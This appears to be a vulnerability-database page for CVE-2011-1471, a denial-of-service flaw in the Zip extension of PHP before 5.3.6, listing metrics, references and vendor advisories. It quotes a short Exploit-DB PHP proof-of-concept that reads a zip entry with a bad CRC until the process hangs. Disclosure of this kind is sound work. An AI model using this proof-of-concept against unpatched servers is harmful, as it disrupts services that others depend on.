CVE-2011-1471 : Detail

CVE-2011-1471

6.36%V3
Network
2011-03-20
00h00 +00:00
2011-04-09
07h00 +00:00
CVE.org
NVD
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CVE Descriptions

Integer signedness error in zip_stream.c in the Zip extension in PHP before 5.3.6 allows context-dependent attackers to cause a denial of service (CPU consumption) via a malformed archive file that triggers errors in zip_fread function calls.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 35485

Publication date : 2011-03-09 23h00 +00:00
Author : TorokAlpar
EDB Verified : Yes

source: https://www.securityfocus.com/bid/46975/info PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension. Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed. Versions prior to PHP 5.3.6 are vulnerable. <?php $o = new ZipArchive(); if (! $o->open('test.zip',ZipArchive::CHECKCONS)) { exit ('error can\'t open'); } $o->getStream('file2'); // this file is ok echo "OK"; $r = $o->getStream('file1'); // this file has a wrong crc while (! feof($r)) { fread($r,1024); } echo "never here\n"; ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (excluding) 5.2.11

Php>>Php >> Version From (including) 5.3.0 To (excluding) 5.3.6

References

http://www.securityfocus.com/bid/46975
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDVSA-2011:053
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.debian.org/security/2011/dsa-2266
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
http://www.redhat.com/support/errata/RHSA-2011-1423.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2011:052
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0744
Tags : vdb-entry, x_refsource_VUPEN
http://support.apple.com/kb/HT5002
Tags : x_refsource_CONFIRM
http://bugs.php.net/bug.php?id=49072
Tags : x_refsource_CONFIRM